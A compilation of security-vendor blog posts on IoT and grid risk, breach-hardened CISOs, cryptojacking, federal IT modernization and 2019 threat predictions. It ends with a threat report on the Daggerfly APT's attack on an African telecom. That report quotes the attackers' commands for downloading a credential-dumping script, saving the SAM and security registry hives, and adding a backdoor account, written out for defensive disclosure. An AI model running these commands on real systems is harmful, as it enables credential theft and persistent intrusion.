Much of the power grid, run by private companies and utilities, relies on legacy proprietary software systems, as it has for decades. The challenge is creating what Sankar calls a “ground truth” around reams of data to sniff out anomalies in pattern usage (time of day, location, weather-related) to detect grid load shifts and malicious acts like hacker-produced surges. “You might never know an attack is happening because it’s happening in the background,” she says.
With countless devices interacting over networks, manufacturers must take the lead in making their gadgets safe. To reduce digital vulnerabilities, security must be baked in from the start. New software must be probed for flaws, preferably by non-partisan white-hat hackers.
Cyber-physical attacks seek to mangle equipment and lives.
If not, we run the risk of “attacks changing how cars brake, how medical devices adapt and how buildings and the smart grid respond,” according to a DHS statement on the topic. “Addressing security issues by bolting solutions onto widely deployed systems is not viable. Security issues must be analyzed, understood and addressed in the early stages of design and deployment.”
To do this, companies need to step away from their proprietary, black-box mindset and start sharing information with networks, consumers, and each other. “Device makers need to share data about their software, firmware, and hardware,” says Dale Nordenberg, executive director of Medical Device Innovation Safety and Security, a non-profit focused on medical device security.
Such interconnected devices create entry nodes into increasingly sprawling health networks and so security risks spread out exponentially and to the entire digital ecosystem.
Most hospitals, says Nordenberg, have networks of thousands of connected devices that they don’t monitor for abnormal behavior. “They don’t know what these devices are up to,” he says. “That’s just the tip of the spear. And that’s just one industry. Multiply those by the millions.”
In the case of medical devices, manufacturers are looking to the government for direction. With industry help, the FDA is currently drafting premarket cyber security guidance to help them protect their products from threats like ransomware or attacks on the overall health care system.
With literally hundreds of thousands of products serving myriad functions, the FDA has said it’s crucial for everyone to get on the same security page. Device makers, who often spend millions on R&D and manufacturing are often reluctant to go back spend more on security patches.
But that only makes them easy targets for bad actors. And the same could be said for any physical industry that puts cyber security on a back burner. “You’re tell the bad guys ‘come and get me,’” says Nordenberg. “And the bad guys love nothing more than an open cyber door.”
|
Cyber Breach Survivors Welcome: Why Firms Should Hire CISOs with Breach Experience
We’ve avoided talking about it for years but it’s high time for industry professionals to share their insights from overcoming a security breach to help fight a smarter breed of hacker
Let’s face it. No one likes to air their dirty laundry in public, especially if your job is in the area of cyber security. Be that as it may, research suggests that those who acknowledge and learn from their security breaches and share the insights could actually be a benefit to a company – not a liability.
I’d go as far as saying firms are better off hiring a CISO who has experienced an avoidable breach, as opposed to someone who hasn’t. As long as they’re not looking to repeat the same mistakes, there’s a lot to gain from someone who has bounced back from an incident that has occurred on their watch. It changes the way they think, feel and behave. Having already been through the experience, security professionals tend not to be haunted by the stress of regulation, the feeling of burnout, and they are more likely to share their learnings with others.
Insights
In partnership with Dr Chris Brauer, Director of Innovation at Goldsmiths, University of London, Symantec surveyed more than 3,000 cyber security leaders across the UK, France and Germany. Here are some of the things we found:
Cyber security professionals that have experienced an avoidable breach are:
24% less likely to report feeling ‘burnt out’
20% are less likely to feel indifference toward their work
15% less likely to feel personally responsible for an incident that could have been avoided
14% less likely to feel ‘set up for failure’
14% more likely to share their learning experiences
14% less likely to think about quitting their job
You can view the full report here.
From my personal experience, I find that a potential hire at any level that has been through a breach and come out the other side is incredibly valuable. The top levels will learn a lot of crisis management in a real-life situation, leadership and how to keep a team focussed. The rest of the team will benefit both from the experience itself and from watching how their leaders respond (be it the CISO or the CEO). These experiences are ideally rare, but memorable and in my opinion character (and career) forming.
Anyone who wears the ‘been there, done that’ t-shirt is much more equipped and is less afraid of preparing for and managing future security issues. In short, there’s no need to hide previous breaches on your CV – even if you are a CISO.
Learn from Failure
“Failure is simply the opportunity to begin again, this time more intelligently,” said US car supremo Henry Ford. The only problem is, 54% of security leaders in our survey explicitly do not discuss breaches or attacks with peers in the industry. If everyone keeps their breaches secret, no one will ever learn from them. Often, when information is shared in the industry, by the time it’s scrubbed, sanitised and anonymised, it’s of little value.
On the dark web, people aren’t as tight-lipped. Criminals are all too quick to spill the beans in online forums about how they were able to expose vital company data. What the security industry needs is a trusted environment where knowledge transfer can take place for the betterment of all involved. But it also needs a culture that encourages this exchange of best practice.
Practical Steps
After speaking with industry leaders for the Symantec High Alert research, we’ve put together some advice to turn the challenges into opportunities.
Share learnings – Teams should take a more optimistic view of security incidents and learn from the attitudes of the people who have been through them.
Prioritise strategy – A more optimistic response to breaches also means taking a long-term and strategic approach to cyber defence. One of the best ways of doing this is through the adoption of a solution such as Symantec’s Integrated Cyber Defence (ICD) platform.
Discuss insights with peers – Individuals and the industry at large need to devote more attention to improving strategic and operational information sharing – not just tactical threat information.
Support from the top – Company boards must support these efforts and foster a more open learning culture for security teams.
Communicate in person – CISOs and security teams can help themselves, and seize the opportunity for driving positive change, by working closely and collaborating in-person with colleagues after an incident.
|
Cyber Miners: From Minor Nuisance to Major Security Problem
Here’s what you need to know to protect your enterprise from getting ripped off by cryptomining
There’s a modern gold rush going on, and to cash in on it cyber miners are stealing your enterprise’s computing and networking resources, costing you time and money and putting your business at risk. They’re using your PCs, devices and bandwidth to mine cryptocurrencies like Bitcoin and Monero, making off with the proceeds and leaving you with the bill.
Let’s take a closer look at how cryptomining works and the dangers its poses.
In cryptocurrencies like Bitcoin or Monero, new coins can be created using tremendous amounts of CPU power. Individual computers can’t generate significant income this way. Essentially, fleets of CPUs are needed to create coins.
So cyber criminals have turned to hijacking PC CPUs to do coin mining. They do it in two ways: Downloading executable files onto PCs, which then use the PCs’ CPUs to do mining, or implanting scripts into people’s browsers which then use the CPUS to do mining. With just a few lines of code, cyber criminals can steal a PC’s processing power.
In 2017, cryptomining turned from a minor nuisance into a major problem. That’s because cryptocurrencies went through a massive price increase in the last part of the year. Even though currency prices have fallen since then, they’re still relatively high, and the problem remains.
How widespread is the problem? Symantec’s latest Internet Security Threat Report found an 8,500 percent increase in the detection of coinminers on computers in 2017. The growth was concentrated at year’s end, as cryptocurrency prices spiked. Coinmining leaped by 34,000 percent from the beginning to the end of the year. Symantec blocked 8 million separate coin-mining events in December alone.
The report found that that cyber criminals who previously focused on ransomware have been turning their attention to surreptitious cryptomining because it’s so easy to do.
“With cryptomining there are far less chances an attack will fall apart,” sand Hon Lau, Development Manager in IT Security and Communications at Symantec.
Indeed, with cryptomining, criminals don’t need to set up complex payment schemes or send out payment demands as they have to do with ransomware. They simply create cyber currency with the stolen CPU power, and then cash it in.
“There is some customer service involved in running a ransomware operation,” Lau added. “But with cryptomining, there’s no interaction with victims. You simply get paid.”
What are the Dangers?
Cryptomining won’t harm enterprises as much as malware such as ransomware. But still, says Lau, it’s harmful. “What it boils down to is that someone is stealing your computing resources for their own enrichment, without your authorization,” he explains.
Download Symantec's 2018 ISTR Now
Among the consequences are PCs and servers running more slowly, their batteries overheating, and their useful lives being shortened, he says. “When your computer mines cryptocurrency, it’s working very hard,” according to Lau. “The CPU runs at maximum capacity, and your computer slows down. It gets hot because when CPUs go up to 100 percent usage they generate a lot of heat. That will cause wear and tear on hardware and shorten its useful life.”
That can add up to a serious money if hundreds or thousands of PCs in an enterprise are compromised.
In addition, enterprises are left with increased electricity bills because of the additional CPU use. And they may end up on the hook for even more serious financial consequences. If an enterprise uses a cloud service to launch servers, when cryptominers max out those servers, more servers may automatically spin up, with the enterprise footing the bill for the additional server usage.
How to Protect Yourself and Your Company
Cryptomining has been in the news enough lately that there’s a broad movement to protect against it. Google, for example, has banned all cryptomining extensions from the Chrome store. Beyond that, Lau says that attention to basic computer hygiene, notably running security software, will protect individual PCs against cryptomining.
Enterprises need to take similar measures to protect the company’s computing and network assets. Installing appropriate security software on endpoints, gateways and the enterprise network will help block cryptomining and detect it quickly if it manages to make its way onto a network. Lau says that special attention should be paid to servers, which should be protected and monitored, not just on-premise, but also those in public and private clouds. Systems should be always patched and kept up to date. Companies should examine their bills from cloud providers to check for any anomalous usage spikes. And they should train their employees to watch out for cryptomining attacks.
Lastly, Lau suggests that companies running public websites need to make sure that hackers don’t break into their web servers and insert code that will take over site visitors’ PCs to do cryptomining. That means constantly checking server code - notably JavaScript libraries - to make sure miners haven’t compromised them.
“It’s not that hard to keep a company safe from cryptomining,” Lau said. “But it does require constant vigilance.”
If you found this information useful, you may also enjoy:
For an in-depth look at browser-based cryptocurrency mining, and what to do about it, check out Lau’s blog post, “Browser-Based Cryptocurrency Mining Makes Unexpected Return from the Dead”.
Watch ISTR Webcasts Here
Learn More About ISTR Here
|
Cyber Security and the Fourth Industrial Revolution
The growing intersection of biological, physical, and technical worlds requires a powerful cyber security response
Samir Kapuria, Symantec’s GM and Senior Vice President of Cyber Security Services, began shaping his 2018 RSA Conference keynote, “At the Edge of Prediction: A Look Back to the Future of Cyber Security,” months ago while on a flight home from Tokyo. Kapuria had by chance sat next to a well-known science fiction writer. In the ensuing conversation, the writer shared that ‘techies’ were his biggest fans as well as his biggest problem, as they tended to turn his futuristic ideas into reality, which limited their shelf life.
Intrigued, Kapuria asked him what science fiction artifice techies might manifest next. Without hesitation, the writer stated: “Immortality.” He then told Kapuria to check out a TV show that explores a world where consciousness can be digitized, stored, and transferred between bodies, rendering death impermanent.
This got Kapuria thinking about the world today and how the line between humanity and technology is being erased.
In his keynote, Kapuria shared thought-provoking insights into how current technologies and cyber security solutions are starting to function more like our own brains, processing and analyzing data to make complex decisions. The result of this shift, Kapuria said, is that humanity is no longer just the beneficiary of technology; humanity is now inseparable from technology. And that means as the pace of innovation and transformation accelerates and the humanity-technology nexus irreversibly expands, the consequences of digital corruption or disruption are rising fast too.
Cyber security’s responsibilities are rising along with it, and Kapuria gave the audience a big call to action. He explained how, until now, the cyber security industry has focused on protecting data confidentiality. This made sense in an information-driven society. But with technology woven deeply into all our lives—helping us scale our impact; augmenting our abilities; even imitate what it means to be human—cyber security needs to move beyond protecting data confidentiality to ensuring digital integrity and availability.
Every revolution transforms its day. And, inevitably, every revolution hands criminals and anarchists new openings. The revolutionaries ask, “What’s possible?” But Kapuria challenged people to also ask, “What’s at risk?”
“Welcome to the fourth industrial revolution,” Kapuria said. “As we remove the boundaries between humanity and technology, we create a world where change is global, fluid, and rapidly having a dramatic impact on people, property, government, and society. To power innovation in the fourth industrial revolution, security needs to be an enabler.”
Scale, Augmentation, Imitation
Kapuria went on to describe several real-world examples of technology advancements powering radical shifts in innovation and changing industries as we know them. He also asked a few pointed, no-longer-rhetorical questions regarding the cyber security mission.
Scale: With limited crew and budget, and ever-expanding responsibilities to protect a growing surface area, the US Navy sought a force multiplier. So it worked with the Defense Advanced Research Projects Agency (DARPA) to develop the Sea Hunter, a 138-foot autonomous ship that circles the globe, gathering and analyzing data, and making a range of decisions on its own. The Sea Hunter scales the role and IQ of naval experts, giving them supervisory control from a command center without putting people at risk.
Cyber security mission: Prevent digital mutiny through precision security. Given cyber security’s dearth of talent and expanding responsibilities, should we scale by developing our own force multiplier? “Do we create digital security-defined robots and deploy them as our sentinels, to expand our SOCs?”
Augmentation: The specter of a world unable to feed its people moved MIT Labs to create Open Agriculture, “an idea commensurate to 3D printing,” said Kapuria. It fuses nutrition, climate, and agricultural knowledge with advanced analytics to augment our ability to produce the right food at the right time at the right place—deserts, disaster zones, cities.
Cyber security mission: Protect ecosystems from cyber sieges. How do we defend against ecosystem attacks on augmented biological or physical systems? There’s too much damage, too quickly, to send in an incident response team. “Is now the time to create self-defending, -learning, and -healing platforms?”
Imitation: With 1 in 50 people experiencing some level of paralysis, BrainGate is changing lives with technology that imitates humanity. BrainGate is paving a path to reverse paralysis by tapping into the brain, extracting thought of movement, then using software to interpret that thought and make movement possible.
Cyber security mission: The world is creating systems that imitate humanity, and can act on our behalf. “How do we decide who’s responsible for the decision or action—human or machine? And what do we do then?”
Cyber Security’s Mission
Cyber security has always provided the space that enables new innovations to take hold, flourish, and proliferate in everything from transportation to healthcare to finance. But if those systems get hacked, if they go offline, the result isn’t an inconvenience but a maelstrom. Digital corruption or disruption is not an option. So, Kapuria said, cyber security needs to sit in the center between people, property, government, and society, enabling industries to usher in technical advances in a secure manner.
“The Sea Hunter, Open Agriculture, and BrainGate all have missions. To defend. To feed. To heal. All these things become the missions of cyber security. Our accomplishments only have meaning to the extent others can bring their advancements to reality. We’re part of something greater than ourselves.”
Kapuria left the audience with a final thought about how we retain our humanity.
“In a world full of technology, what is going to be scarce?” he asked. “Perspective. Empathy. Creativity. Humor. And we can only ensure these thrive if we empower diversity and inclusion.”
To watch Samir’s discussion at RSA, Click Here
If you found this information helpful, you may also enjoy:
Watch ISTR Webcasts
Learn More About ISTR
|
Cyber Security Now a Priority in Fed Government’s Modernization Initiative
As the security needs of federal agencies change, the government’s modernization efforts will also require them to change how they think about cyber security
The federal government dedicates roughly 80 percent of its entire information technology (IT) budget to maintaining existing legacy systems. Given that the proposed IT budget for 2018 is approaching $96 billion, you can see the impact that legacy technology, systems and approaches are having on agencies’ ability to effectively deliver on the mission.
This legacy approach trickles down to the cyber world as well. In order to protect systems that were developed long before something like advanced persistent threats were even an issue, agencies have been applying essentially a band-aid approach to security. Identify a hole or vulnerability and buy a product to “fix” it.
The White House’s American Technology Council recently delivered the “Report to the President on Federal IT Modernization” that brought together public and private sector technology leaders with the goal of providing a roadmap to improve government technology, and the approaches referenced above.
At its core, the report envisions a modern federal IT architecture where agencies can maximize the secure use of cloud computing, modernize government-hosted applications and securely maintain legacy systems. The key component of each action is security.
The federal government dedicates roughly 80 percent of its entire information technology (IT) budget to maintaining existing legacy systems.
A Changing Paradigm
The report highlights the changing security needs of federal agencies. The majority of federal technology systems were built with an emphasis on protecting network perimeters. That architecture made sense at the time as federal employees were tied to work stations inside a government office. If the perimeter, and everything inside it, remained secure then there was no threat of a larger breach. But, applying protections at the perimeter layer only, has proven to be inadequate.
Highlighting the inadequacies of the old approach is the growth of cloud services and mobile workers. This transition has broadened the environment and is adding additional elements to this new virtual border. The results of ineffective, patchwork security in this environment can be devastating.
The report calls for moving from protection of agency network perimeters and managing legacy physical deployments to a new security paradigm that focuses on the protection of federal data and cloud-optimized deployments. It’s about moving those protections closer to the asset itself.
The report, in particular, highlights a number of key cyber security initiatives:
Prioritize the modernization of high-risk High Value Assets (HVAs). Prioritize the modernization of legacy IT by focusing on the enhancement of security and privacy controls for those assets that are essential to operations. The focus will be on protecting data no matter where it resides, whether that be in the cloud or on-premise. As a result, agencies need to ensure that they can see how data is used, where it is accessed and who is using it at all times.
Modernize the Trusted Internet Connections and National Cyber Security Protection System Program to enable cloud migration. Agencies should focus on shifting to the cloud and will need to alter how they view security in order to do so.
Consolidate network acquisitions and management.
Consolidate and standardize network and security service acquisition to take advantage of economies of scale, while minimizing duplicate investments in existing security capabilities.
The IT Modernization Report aims to push federal agencies from a perimeter security model to one that takes a risk-based approach. Going forward, agencies need to look at how best to secure their data, not simply relying on a strategy of securing individual systems or networks. Continuing in this direction will only set agencies further behind.
As you would imagine, Symantec is following these government modernization efforts very closely, and applaud the government for placing security as a key focal area. We are developing a series of blog posts that will look at different aspects of the IT modernization report and how it applies directly to cyber security.
This document is an important step in moving federal technology forward. Cyber security needs to be a key part of that growth. While it will be a major shift in how agency leaders think about technology, it will ultimately provide a more efficient, sustainable and secure federal environment. Please check back for future posts in this series and we appreciate your thoughts and feedback along the way.
If you found this information useful, you may enjoy:
WEBINAR: Making Sense of Federal IT Modernization
Report to the President on Federal IT Modernization
|
Cyber Security Predictions: 2019 and Beyond
As you think about how to deploy in advance of a new year of cyber threats, here are the trends and activities most likely to affect your organization
In anticipating the major cyber security and privacy trends for the coming year, you can find plenty of clues in the events of the past 12 months. Among the now familiar forms of attack, cyber hacks of major corporate systems and websites continued in 2018 and will inevitably be part of the 2019 cyber security scene. Many well-known organizations around the world suffered significant breaches this year. The single largest potential data leak, affecting marketing and data aggregation firm Exactis, involved the exposure of a database that contained nearly 340 million personal information records.
Beyond all-too-common corporate attacks, 2018 saw accelerated threat activity across a diverse range of targets and victims. In the social networking realm, Facebook estimated that hackers stole user information from nearly 30 million people. A growing assortment of nation-states used cyber probes and attacks to access everything from corporate secrets to sensitive government and infrastructure systems. At the personal level, a breach into Under Armour’s MyFitnessPal health tracker accounts resulted in the theft of private data from an estimated 150 million people.
So, what can we expect on the cyber security front in the coming year? Here are some of the trends and activities most likely to affect organizations, governments, and individuals in 2019 and beyond.
Attackers Will Exploit Artificial Intelligence (AI) Systems and Use AI to Aid Assaults
The long-awaited commercial promise of AI has begun to materialize in recent years, with AI-powered systems already in use in many areas of business operations. Even as these systems helpfully automate manual tasks and enhance decision making and other human activities, they also emerge as promising attack targets, as many AI systems are home to massive amounts of data.
In addition, researchers have grown increasingly concerned about the susceptibility of these systems to malicious input that can corrupt their logic and affect their operations. The fragility of some AI technologies will become a growing concern in 2019. In some ways, the emergence of critical AI systems as attack targets will start to mirror the sequence seen 20 years ago with the internet, which rapidly drew the attention of cyber criminals and hackers, especially following the explosion of internet-based eCommerce.
Attackers won’t just target AI systems, they will enlist AI techniques themselves to supercharge their own criminal activities. Automated systems powered by AI could probe networks and systems searching for undiscovered vulnerabilities that could be exploited. AI could also be used to make phishing and other social engineering attacks even more sophisticated by creating extremely realistic video and audio or well-crafted emails designed to fool targeted individuals. AI could also be used to launch realistic disinformation campaigns. For example, imagine a fake AI-created, realistic video of a company CEO announcing a large financial loss, a major security breach, or other major news. Widespread release of such a fake video could have a significant impact on the company before the true facts are understood.
And just as we see attack toolkits available for sale online, making it relatively easy for attackers to generate new threats, we’re certain to eventually see AI-powered attack tools that can give even petty criminals the ability to launch sophisticated targeted attacks. With such tools automating the creation of highly personalized attacks–attacks that have been labor-intensive and costly in the past–such AI-powered toolkits could make the marginal cost of crafting each additional targeted attack essentially be zero.
Attackers won’t just target AI systems, they will enlist AI techniques themselves to supercharge their own criminal activities.
Defenders Will Depend Increasingly on AI to Counter Attacks and Identify Vulnerabilities
The AI security story also has a bright side. Threat identification systems already use machine learning techniques to identify entirely new threats. And, it isn’t just attackers that can use AI systems to probe for open vulnerabilities; defenders can use AI to better harden their environments from attacks. For example, AI-powered systems could launch a series of simulated attacks on an enterprise network over time in the hope that an attack iteration will stumble across a vulnerability that can be closed before it’s discovered by attackers.
Closer to home, AI and other technologies are also likely to start helping individuals better protect their own digital security and privacy. AI could be embedded into mobile phones to help warn users if certain actions are risky. For example, when you set up a new email account your phone might automatically warn you to set up two-factor authentication. Over time, such security-based AI could also help people better understand the tradeoffs involved when they give up personal information in exchange for the use of an application or other ancillary benefit.
Growing 5G Deployment and Adoption Will Begin to Expand the Attack Surface Area
A number of 5G network infrastructure deployments kicked off this year, and 2019 is shaping up to be a year of accelerating 5G activity. While it will take time for 5G networks and 5G-capable phones and other devices to become broadly deployed, growth will occur rapidly. IDG, for example, calls 2019 “a seminal year” on the 5G front, and predicts that the market for 5G and 5G-related network infrastructure will grow from approximately $528 million in 2018 to $26 billion in 2022, exhibiting a compound annual growth rate of 118 percent.
Although smart phones are the focus of much 5G interest, the number of 5G-capable phones is likely to be limited in the coming year. As a stepping stone to broad deployment of 5G cellular networks, some carriers are offering fixed 5G mobile hotspots and 5G-equipped routers for homes. Given the peak data rate of 5G networks is 10 Gbps, compared to 4G’s 1 Gbps, the shift to 5G will catalyze new operational models, new architectures, and–consequently–new vulnerabilities.
Over time, more 5G IoT devices will connect directly to the 5G network rather than via a Wi-Fi router. This trend will make those devices more vulnerable to direct attack. For home users, it will also make it more difficult to monitor all IoT devices since they bypass a central router. More broadly, the ability to back-up or transmit massive volumes of data easily to cloud-based storage will give attackers rich new targets to breach.
IoT-Based Events Will Move Beyond Massive DDoS Assaults to New, More Dangerous Forms of Attack
In recent years, massive botnet-powered distributed denial of service (DDoS) attacks have exploited tens of thousands of infected IoT devices to send crippling volumes of traffic to victims’ websites. Such attacks haven’t received much media attention of late, but they continue to occur and will remain threats in coming years. At the same time, we can expect to see poorly secured IoT devices targeted for other harmful purposes. Among the most troubling will be attacks against IoT devices that bridge the digital and physical worlds. Some of these IoT enabled objects are kinetic, such as cars and other vehicles, while others control critical systems. We expect to see growing numbers of attacks against IoT devices that control critical infrastructure such as power distribution and communications networks. And as home-based IoT devices become more ubiquitous, there will likely be future attempts to weaponize them–say, by one nation shutting down home thermostats in an enemy state during a harsh winter.
Attackers Will Increasingly Capture Data in Transit
We’re likely to see attackers exploit home-based Wi-Fi routers and other poorly secured consumer IoT devices in new ways. One exploit already occurring is marshalling IoT devices to launch massive cryptojacking efforts to mine cryptocurrencies.
In 2019 and beyond, we can expect increasing attempts to gain access to home routers and other IoT hubs to capture some of the data passing through them. Malware inserted into such a router could, for example, steal banking credentials, capture credit card numbers, or display spoofed, malicious web pages to the user to compromise confidential information. Such sensitive data tends to be better secured when it is at rest today. For example, eCommerce merchants do not store credit card CVV numbers, making it more difficult for attackers to steal credit cards from eCommerce databases. Attackers will undoubtedly continue to evolve their techniques to steal consumer data when it is in transit.
On the enterprise side, there were numerous examples of data-in-transit compromises in 2018. The attack group Magecart stole credit card numbers and other sensitive consumer information on eCommerce sites by embedding malicious scripts either directly on targeted websites or by compromising third-party suppliers used by the site. Such “formjacking” attacks have recently impacted the websites of numerous global companies. In another attack targeting enterprise data in transit, the VPNFilter malware also infected a range of routers and network-attached storage devices, allowing it to steal credentials, alter network traffic, decrypt data, and serve a launch point for other malicious activities inside targeted organizations.
We expect that attackers will continue to focus on network-based enterprise attacks in 2019, as they provide unique visibility into a victim’s operations and infrastructure.
Attacks that Exploit the Supply Chain Will Grow in Frequency and Impact
An increasingly common target of attackers is the software supply chain, with attackers implanting malware into otherwise legitimate software packages at its usual distribution location. Such attacks could occur during production at the software vendor or at a third-party supplier. The typical attack scenario involves the attacker replacing a legitimate software update with a malicious version in order to distribute it quickly and surreptitiously to intended targets. Any user receiving the software update will automatically have their computer infected, giving the attacker a foothold in their environment.
These types of attacks are increasing in volume and sophistication and we could see attempts to infect the hardware supply chain in the future. For example, an attacker could compromise or alter a chip or add source code to the firmware of the UEFI/BIOS before such components are shipped out to millions of computers. Such threats would be very difficult to remove, likely persisting even after an impacted computer is rebooted or the hard disk is reformatted.
The bottom line is that attackers will continue to search for new and more sophisticated opportunities to infiltrate the supply chain of organizations they are targeting.
Growing Security and Privacy Concerns Will Drive Increased Legislative and Regulatory Activity
The European Union’s mid-2018 implementation of the General Data Protection Regulation (GDPR) will likely prove to be just a precursor to various security and privacy initiatives in countries outside the European Union. Canada has already enforced GDPR-like legislation, and Brazil recently passed new privacy legislation similar to GDPR, due to enter into force in 2020. Singapore and India are consulting to adopt breach notification regimes, while Australia has already adopted different notification timelines compared to GDPR. Multiple other countries across the globe have adequacy or are negotiating GDPR adequacy. In the U.S., soon after GDPR arrived, California passed a privacy law considered to be the toughest in the United States to date. We anticipate the full impact of GDPR to become more clear across the globe during the coming year.
At the U.S. federal level, Congress is already wading deeper into security and privacy waters. Such legislation is likely to gain more traction and may materialize in the coming year. Inevitably, there will be a continued and increased focus on election system security as the U.S. 2020 presidential campaign gets underway.
While we’re almost certain to see upticks in legislative and regulatory actions to address security and privacy needs, there is a potential for some requirements to prove more counterproductive than helpful. For example, overly broad regulations might prohibit security companies from sharing even generic information in their efforts to identify and counter attacks. If poorly conceived, security and privacy regulations could create new vulnerabilities even as they close others.
Symantec 2019 Cyber Security Predictions
Security Predictions 2019 Infographic
|
Daggerfly: APT Actor Targets Telecoms Company in Africa
New MgBot malware framework plugins deployed in recent campaign.
A telecommunications organization in Africa appears to be among the latest targets for the Daggerfly (aka Evasive Panda, Bronze Highland) advanced persistent threat (APT) group, with the group’s most recent campaign using previously unseen plugins from the MgBot malware framework.
The first indications of malicious activity on this victim’s network were seen in November 2022, but there are indications the activity is likely still ongoing. Researchers from the Threat Hunter Team at Symantec, by Broadcom Software, found multiple unique plugins associated with the MgBot modular malware framework on the victim’s network. The attackers were also seen using a PlugX loader and abusing the legitimate AnyDesk remote desktop software. Use of the MgBot modular malware framework and PlugX loader have been associated in the past with China-linked APTs.
Association between this activity and Daggerfly is based in part on details in a 2020 blog about activity that Malwarebytes attributed to Evasive Panda. Crossovers in the activity included:
One of the MgBot samples found appears in both sets of activity
Both sets of activity include a renamed Rundll32.exe file named "dbengin.exe" in the ProgramData\Microsoft\PlayReady directory
The loader DLL "pMsrvd.dll" in the csidl_common_appdata\microsoft\playready\mdie942.tmp directory appears in both sets of activity
The folders and file names used in this recent activity, as well as the use of DLL side-loading, also support the attribution. The activity documented by Malwarebytes occurred in 2020, and Daggerfly is believed to have been active since at least 2014.
Attack Chain
Suspicious AnyDesk connections spotted on a Microsoft Exchange mail server in November 2022 were among the first signs of suspicious activity on the victim network targeted in this recent Daggerfly activity. AnyDesk is a legitimate remote desktop software but it is commonly abused by threat actors for remote access and other purposes.
The WannaMine crypto-mining malware was also seen on the same Exchange server, though it appears likely that this activity was not linked to the Daggerfly group. The presence of WannaMine, however, does indicate that the server it was found on may have been unpatched and vulnerable to the EternalBlue exploit, as well as more recent exploits targeting this web server.
The legitimate, free Rising antivirus software was also used to side-load the PlugX loader onto victim machines.
We will go through the attack chain in further detail below.
File downloads
Threat actors used the living-off-the-land tools BITSAdmin and PowerShell to download files onto victim systems. The attackers downloaded the legitimate AnyDesk executable and the GetCredManCreds tool in this way.
Commands used by the attackers to download remote desktop access tools onto victim machines
bitsadmin /transfer d7d3 https://download.anydesk.com/AnyDesk.exe CSIDL_COMMON_APPDATA\anydesk.exe
“CSIDL_SYSTEM\windowspowershell\v1.0\powershell.exe" Invoke-WebRequest -Uri https://download.anydesk.com/AnyDesk.exe -OutFile CSIDL_COMMON_APPDATA\anydesk.exe
Credential dumping
The attackers used the previously downloaded GetCredManCreds script to retrieve the usernames and passwords of web services stored in the credential manager using PowerShell.
Commands used by the attackers to download credential dumping tools onto victim machines
"CSIDL_SYSTEM\windowspowershell\v1.0\powershell.exe" Invoke-WebRequest -Uri https://raw.githubusercontent.com/VimalShekar/PowerShell/master/GetCredmanCreds.ps1 -OutFile CSIDL_COMMON_APPDATA\a.ps1
They also dumped the SAM (Security Account Manager), System, and Security hives of the Windows registry using the reg.exe tool. This allowed the adversaries to extract credentials from the SAM database.
Commands used by the attackers to steal credentials
"CSIDL_SYSTEM\reg.exe" save hklm\sam sam.save
"CSIDL_SYSTEM\reg.exe" save hklm\system system.save
"CSIDL_SYSTEM\reg.exe" save hklm\security security.save
Persistence with local account
Daggerfly also created a local account to maintain access to victim systems with the following command line:
"CSIDL_SYSTEM\net.exe" user [REDACTED] Pqssword1 /add
MgBot modular malware framework
MgBot is a well-designed modular framework that is actively maintained. The components of the framework are the following:
MgBot EXE dropper
MgBot DLL Loader
MgBot Plugins
The MgBot plugins that were deployed in this activity have numerous capabilities that can provide the attackers with a significant amount of information about compromised machines. Among the unique plugins that were deployed during this activity were:
Network scanner – innocence.dll
Capabilities include: arp scan, http scan, determining the type of server (e.g. SQL, WebLogic, Redis, etc.) it is running on.
A Chrome and Firefox infostealer that can gather information such as bookmarks and browsing history – bkmk.dll
Logging module – famdowm.dll
Based on the open-source easylogging++, which can carry out basic logging, track performance and more.
QQ messages infostealer – qmsdp.dll
Based on this blog, which details how a chat tool message database was cracked by hackers.
Active Directory enumeration – ceeeb.dll
Collects the following information from Active directory:
Members info
Computers
Local Admins
Remote Desktop Users
Dcom Users
Password dumper – cpfwplgx.dll
Drops a file to call the MiniDumpWriteDump API to dump a process memory.
QQ Keylogger – kstrcs.dll
Keylogger that targets QQEdit.exe and QQ.exe processes.
Screen and clipboard grabber – cbmrpa.dll
Captures clipboard and drag and drop data and saves it to a file.
Outlook and Foxmail credentials stealer – maillfpassword.dll
Audio capture – prsm.dll
Captures audio from the infected system.
Uses COM objects IMMDeviceEnumerator, IAudioCaptureClient.
Process Watchdog – ansecprocesskeep.dll
Registered as service AnsecProcessKeep.
Confirmed to be a watchdog that keeps a process running.
The process name is found in an .ini file.
All of these capabilities would have allowed the attackers to collect a significant amount of information from victim machines. The capabilities of these plugins also show that the main goal of the attackers during this campaign was information-gathering.
Daggerfly’s development of these previously unseen plugins demonstrates that the attack group is continuing to actively develop its malware and the tools it can use to target victim networks.
Continuation of a Trend
Telecoms companies will always be a key target in intelligence gathering campaigns due to the access they can potentially provide to the communications of end-users.
Symantec’s Threat Hunter team also spotted some other recent activity targeting telecoms companies that was linked with moderate confidence to the threat actor Othorene (aka Gallium), in what appeared to be a continuation of an intelligence-gathering campaign first reported on by SentinelOne under the name Operation Tainted Love in March. SentinelOne reported that in that campaign Othorene was targeting telecoms companies in the Middle East.
Othorene has been active since around 2014, and it is believed to be a relatively small group that has a strong focus on the surveillance of individuals. There are some indications that Othorene may have links with the APT41 (aka Blackfly, Grayfly) APT group also. Overlap of both personnel and tactics, techniques, and procedures (TTPs) among Chinese APT groups is not uncommon, and can mean that attributing activity to one group with high confidence is difficult.
In the activity Symantec saw, we found three additional victims of the same campaign that SentinelOne detailed, located in Asia and Africa. Two of the three were subsidiaries of the same Middle Eastern telecoms firm. The attackers had been active on victim networks since November 2022. Symantec saw attackers dumping credentials and scanning the network using NbtScan.
The main malware (pc.exe dubbed mim221) in this campaign was used to dump credentials, and it had the same password as the malware used in the activity documented by SentinelOne. The attackers also moved laterally across victims’ networks, used Scheduled Task for persistence, and dumped SAM and System hives from the registry. There were indications that the attackers may have exported the Active Directory database on victim machines, and they were also able to gain access to domain controllers, giving them deep access to victim networks.
Protection/Mitigation
For the latest protection updates, please visit the Symantec Protection Bulletin.
Indicators of Compromise
If an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.
File Indicators – Daggerfly
MgBot Dropper
c89316e87c5761e0fc50db1214beb32a08c73d2cad9df8c678c8e44ed66c1dab
90e15eaf6385b41fcbf021ecbd8d86b8c31ba48c2c5c3d1edb8851896f4f72fe
MgBot – aasrvd.dll, pmsrvd.dll
706c9030c2fa5eb758fa2113df3a7e79257808b3e79e46869d1bf279ed488c36
017187a1b6d58c69d90d81055db031f1a7569a3b95743679b21e44ea82cfb6c7
MgBot Plugins
cb8aede4ad660adc1c78a513e7d5724cac8073bea9d6a77cf3b04b019395979a
